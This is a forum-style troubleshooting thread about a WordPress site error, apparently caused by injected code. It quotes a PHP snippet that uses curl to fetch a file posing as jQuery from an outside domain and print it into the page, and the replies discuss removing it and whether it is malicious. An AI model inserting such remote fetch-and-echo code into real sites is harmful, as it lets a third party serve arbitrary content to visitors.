I get this error at the bottom of my home page. please let me know why this error appeared in my website. I am running my website on wordpress. Here is the error
Couldn't connect to database server.Couldn't find database cjquery.An unexpected problem has occured with the application.
SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = '';
<?php if(function_exists('curl_init')) { $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; } ?>
Remove the code or comment it out so it looks something like this:
<?php
// if(function_exists('curl_init'))
// {
// $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
// $ch = curl_init();
// $timeout = 5;
// curl_setopt($ch,CURLOPT_URL,$url);
// curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
// curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
// $data = curl_exec($ch);
// curl_close($ch);
// echo "$data";
//}
?>
The above string can vary from site to site.
<!-- .... --> the PHP code will still execute. However, this solution seems a bit... random!? How does this relate to a "database" (unless it's a malicious JS file)? The linked questions don't offer any explanation and one of them does indeed regard this as very suspicious.
freefilesblog.com/...) doesn't exist (the referenced question is 4 years old), so the URL is likely to be different in the OP's source (particularly since the name of the database is also different).
<?php is treated as HTML therefore <!-- works absolutely fine. Only if the code is in the functions will he/she need to use php comments // since the <?php will be at the top. Statscurl is related to a old plugin. The database name will vary from site to site as expected.
<?php is treated as HTML" - well, only the PHP output is treated as HTML - the PHP itself still executes (server-side). (Further, if $data was malicious JS then it only needs to contain an HTML comment itself to effectively thwart the outer HTML comment block and to potentially still be executed.)
statscurl_id.
